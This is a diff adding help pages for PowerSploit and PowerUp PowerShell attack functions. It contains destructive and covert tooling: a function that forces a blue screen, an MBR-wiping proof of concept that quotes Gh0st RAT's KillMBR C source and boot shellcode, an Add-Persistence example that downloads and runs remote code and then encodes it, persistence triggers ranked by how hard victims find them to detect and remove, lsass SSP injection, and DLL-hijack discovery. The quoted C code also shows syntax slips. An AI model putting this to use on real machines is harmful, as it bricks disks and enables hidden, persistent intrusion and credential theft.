The default is the local
computer.
Type the NetBIOS name, an IP address, or a fully qualified domain
name of one or more computers.
To specify the local computer, type
the computer name, a dot (.), or "localhost".
This parameter does not rely on Windows PowerShell remoting.
You can
use the ComputerName parameter even if your computer is not
configured to run remote commands.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: Cn
Required: False
Position: 6
Default value: Localhost
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```
### -Credential
Specifies a user account that has permission to perform this action.
The default is the current user.
Type a user name, such as "User01",
"Domain01\User01", or User@Contoso.com.
Or, enter a PSCredential
object, such as an object that is returned by the Get-Credential
cmdlet.
When you type a user name, you will be prompted for a
password.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: 7
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
### -Impersonation
Specifies the impersonation level to use.
Valid values are:
0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
1: Anonymous (Hides the credentials of the caller.)
2: Identify (Allows objects to query the credentials of the caller.)
3: Impersonate (Allows objects to use the credentials of the caller.)
4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
```yaml
Type: ImpersonationLevel
Parameter Sets: (All)
Aliases:
Accepted values: Default, Anonymous, Identify, Impersonate, Delegate
Required: False
Position: 8
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Authentication
Specifies the authentication level to be used with the WMI connection.
Valid values are:
-1: Unchanged
0: Default
1: None (No authentication in performed.)
2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
4: Packet (Authentication is performed on all the data that is received from the client.)
5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
```yaml
Type: AuthenticationLevel
Parameter Sets: (All)
Aliases:
Accepted values: Default, None, Connect, Call, Packet, PacketIntegrity, PacketPrivacy, Unchanged
Required: False
Position: 9
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableAllPrivileges
Enables all the privileges of the current user before the command
makes the WMI call.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Authority
Specifies the authority to use to authenticate the WMI connection.
You can specify standard NTLM or Kerberos authentication.
To use
NTLM, set the authority setting to ntlmdomain:\<DomainName\>, where
\<DomainName\> identifies a valid NTLM domain name.
To use Kerberos,
specify kerberos:\<DomainName\ServerName\>.
You cannot include the
authority setting when you connect to the local computer.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 10
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
### System.String[]
Accepts one or more host names/IP addresses over the pipeline.
## OUTPUTS
### System.Management.Automation.PSObject
Outputs a custom object consisting of the target computer name and
the output of the command executed.
## NOTES
In order to receive the output from your payload, it must return
actual objects.
For example, Write-Host doesn't return objects
rather, it writes directly to the console.
If you're using
Write-Host in your scripts though, you probably don't deserve to get
the output of your payload back.
:P
## RELATED LINKS
+108
View File
@@ -0,0 +1,108 @@
# Set-CriticalProcess
## SYNOPSIS
Causes your machine to blue screen upon exiting PowerShell.
PowerSploit Function: Set-CriticalProcess
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
```
Set-CriticalProcess [-Force] [-ExitImmediately] [-WhatIf] [-Confirm]
```
## DESCRIPTION
{{Fill in the Description}}
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Set-CriticalProcess
```
### -------------------------- EXAMPLE 2 --------------------------
```
Set-CriticalProcess -ExitImmediately
```
### -------------------------- EXAMPLE 3 --------------------------
```
Set-CriticalProcess -Force -Verbose
```
## PARAMETERS
### -Force
Set the running PowerShell process as critical without asking for confirmation.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -ExitImmediately
Immediately exit PowerShell after successfully marking the process as critical.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -WhatIf
Shows what would happen if the cmdlet runs.
The cmdlet is not run.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: wi
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Confirm
Prompts you for confirmation before running the cmdlet.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: cf
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
## RELATED LINKS
+184
View File
@@ -0,0 +1,184 @@
# Set-MasterBootRecord
## SYNOPSIS
Proof of concept code that overwrites the master boot record with the
message of your choice.
PowerSploit Function: Set-MasterBootRecord
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
```
Set-MasterBootRecord [[-BootMessage] <String>] [-RebootImmediately] [-Force] [-WhatIf] [-Confirm]
```
## DESCRIPTION
Set-MasterBootRecord is proof of concept code designed to show that it is
possible with PowerShell to overwrite the MBR.
This technique was taken
from a public malware sample.
This script is inteded solely as proof of
concept code.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
```
## PARAMETERS
### -BootMessage
Specifies the message that will be displayed upon making your computer a brick.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 1
Default value: Stop-Crying; Get-NewHardDrive
Accept pipeline input: False
Accept wildcard characters: False
```
### -RebootImmediately
Reboot the machine immediately upon overwriting the MBR.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Force
Suppress the warning prompt.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -WhatIf
Shows what would happen if the cmdlet runs.
The cmdlet is not run.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: wi
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Confirm
Prompts you for confirmation before running the cmdlet.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: cf
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
Obviously, this will only work if you have a master boot record to
overwrite.
This won't work if you have a GPT (GUID partition table).
This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
// CGh0stApp message handlers
unsigned char scode\[\] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR\[512\] = {0};
// ????MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR\[510\] = 0x55;
pMBR\[511\] = 0xAA;
hDevice = CreateFile
(
"\\\\\\\\.\\\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NUL
)
// ??????
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
## RELATED LINKS
+227
View File
@@ -0,0 +1,227 @@
# Add-Persistence
## SYNOPSIS
Add persistence capabilities to a script.
PowerSploit Function: Add-Persistence
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption
Optional Dependencies: None
## SYNTAX
### ScriptBlock
```
Add-Persistence -ScriptBlock <ScriptBlock> -ElevatedPersistenceOption <Object> -UserPersistenceOption <Object>
[-PersistenceScriptName <String>] [-PersistentScriptFilePath <String>] [-RemovalScriptFilePath <String>]
[-DoNotPersistImmediately] [-PassThru]
```
### FilePath
```
Add-Persistence -FilePath <String> -ElevatedPersistenceOption <Object> -UserPersistenceOption <Object>
[-PersistenceScriptName <String>] [-PersistentScriptFilePath <String>] [-RemovalScriptFilePath <String>]
[-DoNotPersistImmediately] [-PassThru]
```
## DESCRIPTION
Add-Persistence will add persistence capabilities to any script or scriptblock.
This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
```
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
Description
-----------
Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs.
elevated) determined at runtime.
### -------------------------- EXAMPLE 2 --------------------------
```
$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
```
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1
Description
-----------
Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs.
elevated) determined at runtime.
The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement.
The final, encoded output is finally saved to .\EncodedPersistentScript.ps1
## PARAMETERS
### -ScriptBlock
Specifies a scriptblock containing your payload.
```yaml
Type: ScriptBlock
Parameter Sets: ScriptBlock
Aliases:
Required: True
Position: Named
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```
### -FilePath
Specifies the path to your payload.
```yaml
Type: String
Parameter Sets: FilePath
Aliases: Path
Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ElevatedPersistenceOption
Specifies the trigger for the persistent payload if the target is running elevated.
You must run New-ElevatedPersistenceOption to generate this argument.
```yaml
Type: Object
Parameter Sets: (All)
Aliases:
Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserPersistenceOption
Specifies the trigger for the persistent payload if the target is not running elevated.
You must run New-UserPersistenceOption to generate this argument.
```yaml
Type: Object
Parameter Sets: (All)
Aliases:
Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -PersistenceScriptName
Specifies the name of the function that will wrap the original payload.
The default value is 'Update-Windows'.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Update-Windows
Accept pipeline input: False
Accept wildcard characters: False
```
### -PersistentScriptFilePath
Specifies the path where you would like to output the persistence script.
By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: "$PWD\Persistence.ps1"
Accept pipeline input: False
Accept wildcard characters: False
```
### -RemovalScriptFilePath
Specifies the path where you would like to output a script that will remove the persistent payload.
By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: "$PWD\RemovePersistence.ps1"
Accept pipeline input: False
Accept wildcard characters: False
```
### -DoNotPersistImmediately
Output only the wrapper function for the original payload.
By default, Add-Persistence will output a script that will automatically attempt to persist (e.g.
it will end with 'Update-Windows -Persist').
If you are in a position where you are running in memory but want to persist at a later time, use this option.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -PassThru
Outputs the contents of the persistent script to the pipeline.
This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
### None
Add-Persistence cannot receive any input from the pipeline.
## OUTPUTS
### System.Management.Automation.ScriptBlock
If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script.
## NOTES
When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine.
## RELATED LINKS
[http://www.exploit-monday.com](http://www.exploit-monday.com)
+37
View File
@@ -0,0 +1,37 @@
# Get-SecurityPackage
## SYNOPSIS
Enumerates all loaded security packages (SSPs).
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
```
Get-SecurityPackage
```
## DESCRIPTION
Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages.
It also parses the returned SecPkgInfo struct array.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-SecurityPackage
```
## PARAMETERS
## INPUTS
## OUTPUTS
## NOTES
## RELATED LINKS
+60
View File
@@ -0,0 +1,60 @@
# Install-SSP
## SYNOPSIS
Installs a security support provider (SSP) dll.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
```
Install-SSP [[-Path] <String>]
```
## DESCRIPTION
Install-SSP installs an SSP dll.
Installation involves copying the dll to
%windir%\System32 and adding the name of the dll to
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Install-SSP -Path .\mimilib.dll
```
## PARAMETERS
### -Path
{{Fill Path Description}}
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
The SSP dll must match the OS architecture.
i.e.
You must have a 64-bit SSP dll
if you are running a 64-bit OS.
In order for the SSP dll to be loaded properly
into lsass, the dll must export SpLsaModeInitialize.
## RELATED LINKS
+235
View File
@@ -0,0 +1,235 @@
# New-ElevatedPersistenceOption
## SYNOPSIS
Configure elevated persistence options for the Add-Persistence function.
PowerSploit Function: New-ElevatedPersistenceOption
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
### PermanentWMIAtStartup
```
New-ElevatedPersistenceOption [-PermanentWMI] [-AtStartup]
```
### PermanentWMIDaily
```
New-ElevatedPersistenceOption [-PermanentWMI] [-Daily] -At <DateTime>
```
### ScheduledTaskOnIdle
```
New-ElevatedPersistenceOption [-ScheduledTask] [-OnIdle]
```
### ScheduledTaskAtLogon
```
New-ElevatedPersistenceOption [-ScheduledTask] [-AtLogon]
```
### ScheduledTaskHourly
```
New-ElevatedPersistenceOption [-ScheduledTask] [-Hourly]
```
### ScheduledTaskDaily
```
New-ElevatedPersistenceOption [-ScheduledTask] [-Daily] -At <DateTime>
```
### Registry
```
New-ElevatedPersistenceOption [-Registry] [-AtLogon]
```
## DESCRIPTION
New-ElevatedPersistenceOption allows for the configuration of elevated persistence options.
The output of this function is a required parameter of Add-Persistence.
Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
```
### -------------------------- EXAMPLE 2 --------------------------
```
$ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup
```
### -------------------------- EXAMPLE 3 --------------------------
```
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
```
## PARAMETERS
### -PermanentWMI
Persist via a permanent WMI event subscription.
This option will be the most difficult to detect and remove.
Detection Difficulty: Difficult
Removal Difficulty: Difficult
User Detectable?
No
```yaml
Type: SwitchParameter
Parameter Sets: PermanentWMIAtStartup, PermanentWMIDaily
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -ScheduledTask
Persist via a scheduled task.
Detection Difficulty: Moderate
Removal Difficulty: Moderate
User Detectable?
No
```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskOnIdle, ScheduledTaskAtLogon, ScheduledTaskHourly, ScheduledTaskDaily
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Registry
Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key.
Note: This option will briefly pop up a PowerShell console to the user.
Detection Difficulty: Easy
Removal Difficulty: Easy
User Detectable?
Yes
```yaml
Type: SwitchParameter
Parameter Sets: Registry
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Daily
Starts the payload daily.
```yaml
Type: SwitchParameter
Parameter Sets: PermanentWMIDaily, ScheduledTaskDaily
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Hourly
Starts the payload hourly.
```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskHourly
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -At
Starts the payload at the specified time.
You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
```yaml
Type: DateTime
Parameter Sets: PermanentWMIDaily, ScheduledTaskDaily
Aliases:
Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -OnIdle
Starts the payload after one minute of idling.
```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskOnIdle
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -AtLogon
Starts the payload upon any user logon.
```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskAtLogon, Registry
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -AtStartup
Starts the payload within 240 and 325 seconds of computer startup.
```yaml
Type: SwitchParameter
Parameter Sets: PermanentWMIAtStartup
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
## RELATED LINKS
[http://www.exploit-monday.com](http://www.exploit-monday.com)
+179
View File
@@ -0,0 +1,179 @@
# New-UserPersistenceOption
## SYNOPSIS
Configure user-level persistence options for the Add-Persistence function.
PowerSploit Function: New-UserPersistenceOption
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
### ScheduledTaskOnIdle
```
New-UserPersistenceOption [-ScheduledTask] [-OnIdle]
```
### ScheduledTaskHourly
```
New-UserPersistenceOption [-ScheduledTask] [-Hourly]
```
### ScheduledTaskDaily
```
New-UserPersistenceOption [-ScheduledTask] [-Daily] -At <DateTime>
```
### Registry
```
New-UserPersistenceOption [-Registry] [-AtLogon]
```
## DESCRIPTION
New-UserPersistenceOption allows for the configuration of elevated persistence options.
The output of this function is a required parameter of Add-Persistence.
Available persitence options in order of stealth are the following: scheduled task, registry.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
```
### -------------------------- EXAMPLE 2 --------------------------
```
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
```
## PARAMETERS
### -ScheduledTask
Persist via a scheduled task.
Detection Difficulty: Moderate
Removal Difficulty: Moderate
User Detectable?
No
```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskOnIdle, ScheduledTaskHourly, ScheduledTaskDaily
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Registry
Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key.
Note: This option will briefly pop up a PowerShell console to the user.
Detection Difficulty: Easy
Removal Difficulty: Easy
User Detectable?
Yes
```yaml
Type: SwitchParameter
Parameter Sets: Registry
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Daily
Starts the payload daily.
```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskDaily
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Hourly
Starts the payload hourly.
```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskHourly
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -At
Starts the payload at the specified time.
You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
```yaml
Type: DateTime
Parameter Sets: ScheduledTaskDaily
Aliases:
Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -OnIdle
Starts the payload after one minute of idling.
```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskOnIdle
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -AtLogon
Starts the payload upon any user logon.
```yaml
Type: SwitchParameter
Parameter Sets: Registry
Aliases:
Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
## RELATED LINKS
[http://www.exploit-monday.com](http://www.exploit-monday.com)
+68
View File
@@ -0,0 +1,68 @@
# Add-ServiceDacl
## SYNOPSIS
Adds a Dacl field to a service object returned by Get-Service.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: PSReflect
## SYNTAX
```
Add-ServiceDacl [-Name] <String[]>
```
## DESCRIPTION
Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
Dacl field to each object.
It does this by opening a handle with ReadControl for the
service with using the GetServiceHandle Win32 API call and then uses
QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-Service | Add-ServiceDacl
```
Add Dacls for every service the current user can read.
### -------------------------- EXAMPLE 2 --------------------------
```
Get-Service -Name VMTools | Add-ServiceDacl
```
Add the Dacl to the VMTools service object.
## PARAMETERS
### -Name
An array of one or more service names to add a service Dacl for.
Passable on the pipeline.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: ServiceName
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### ServiceProcess.ServiceController
## NOTES
## RELATED LINKS
[https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/)
+105
View File
@@ -0,0 +1,105 @@
# Enable-Privilege
## SYNOPSIS
Enables a specific privilege for the current process.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
## SYNTAX
```
Enable-Privilege [-Privilege] <String[]>
```
## DESCRIPTION
Uses RtlAdjustPrivilege to enable a specific privilege for the current process.
Privileges can be passed by string, or the output from Get-ProcessTokenPrivilege
can be passed on the pipeline.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Get-ProcessTokenPrivilege
```
Privilege Attributes ProcessId
--------- ---------- ---------
SeShutdownPrivilege DISABLED 3620
SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 3620
SeUndockPrivilege DISABLED 3620
SeIncreaseWorkingSetPrivilege DISABLED 3620
SeTimeZonePrivilege DISABLED 3620
Enable-Privilege SeShutdownPrivilege
Get-ProcessTokenPrivilege
Privilege Attributes ProcessId
--------- ---------- ---------
SeShutdownPrivilege SE_PRIVILEGE_ENABLED 3620
SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 3620
SeUndockPrivilege DISABLED 3620
SeIncreaseWorkingSetPrivilege DISABLED 3620
SeTimeZonePrivilege DISABLED 3620
### -------------------------- EXAMPLE 2 --------------------------
```
Get-ProcessTokenPrivilege
```
Privilege Attributes ProcessId
--------- ---------- ---------
SeShutdownPrivilege DISABLED 2828
SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2828
SeUndockPrivilege DISABLED 2828
SeIncreaseWorkingSetPrivilege DISABLED 2828
SeTimeZonePrivilege DISABLED 2828
Get-ProcessTokenPrivilege | Enable-Privilege -Verbose
VERBOSE: Attempting to enable SeShutdownPrivilege
VERBOSE: Attempting to enable SeChangeNotifyPrivilege
VERBOSE: Attempting to enable SeUndockPrivilege
VERBOSE: Attempting to enable SeIncreaseWorkingSetPrivilege
VERBOSE: Attempting to enable SeTimeZonePrivilege
Get-ProcessTokenPrivilege
Privilege Attributes ProcessId
--------- ---------- ---------
SeShutdownPrivilege SE_PRIVILEGE_ENABLED 2828
SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2828
SeUndockPrivilege SE_PRIVILEGE_ENABLED 2828
SeIncreaseWorkingSetPrivilege SE_PRIVILEGE_ENABLED 2828
SeTimeZonePrivilege SE_PRIVILEGE_ENABLED 2828
## PARAMETERS
### -Privilege
{{Fill Privilege Description}}
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: Privileges
Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
## RELATED LINKS
[http://forum.sysinternals.com/tip-easy-way-to-enable-privileges_topic15745.html](http://forum.sysinternals.com/tip-easy-way-to-enable-privileges_topic15745.html)
+45
View File
@@ -0,0 +1,45 @@
# Find-PathDLLHijack
## SYNOPSIS
Finds all directories in the system %PATH% that are modifiable by the current user.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ModifiablePath
## SYNTAX
```
Find-PathDLLHijack
```
## DESCRIPTION
Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath
to return the folder paths the current user can write to.
On Windows 7, if wlbsctrl.dll is
written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search
order loading.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Find-PathDLLHijack
```
Finds all %PATH% .DLL hijacking opportunities.
## PARAMETERS
## INPUTS
## OUTPUTS
### PowerUp.HijackableDLL.Path
## NOTES
## RELATED LINKS
[http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)
+127
View File
@@ -0,0 +1,127 @@
# Find-ProcessDLLHijack
## SYNOPSIS
Finds all DLL hijack locations for currently running processes.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
## SYNTAX
```
Find-ProcessDLLHijack [[-Name] <String[]>] [-ExcludeWindows] [-ExcludeProgramFiles] [-ExcludeOwned]
```
## DESCRIPTION
Enumerates all currently running processes with Get-Process (or accepts an
input process object from Get-Process) and enumerates the loaded modules for each.
All loaded module name exists outside of the process binary base path, as those
are DLL load-order hijack candidates.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Find-ProcessDLLHijack
```
Finds possible hijackable DLL locations for all processes.
### -------------------------- EXAMPLE 2 --------------------------
```
Get-Process VulnProcess | Find-ProcessDLLHijack
```
Finds possible hijackable DLL locations for the 'VulnProcess' processes.
### -------------------------- EXAMPLE 3 --------------------------
```
Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
```
Finds possible hijackable DLL locations not in C:\Windows\* and
not in C:\Program Files\* or C:\Program Files (x86)\*
### -------------------------- EXAMPLE 4 --------------------------
```
Find-ProcessDLLHijack -ExcludeOwned
```
Finds possible hijackable DLL location for processes not owned by the
current user.
## PARAMETERS
### -Name
The name of a process to enumerate for possible DLL path hijack opportunities.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: ProcessName
Required: False
Position: 1
Default value: $(Get-Process | Select-Object -Expand Name)
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -ExcludeWindows
Exclude paths from C:\Windows\* instead of just C:\Windows\System32\*
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -ExcludeProgramFiles
Exclude paths from C:\Program Files\* and C:\Program Files (x86)\*
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -ExcludeOwned
Exclude processes the current user owns.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
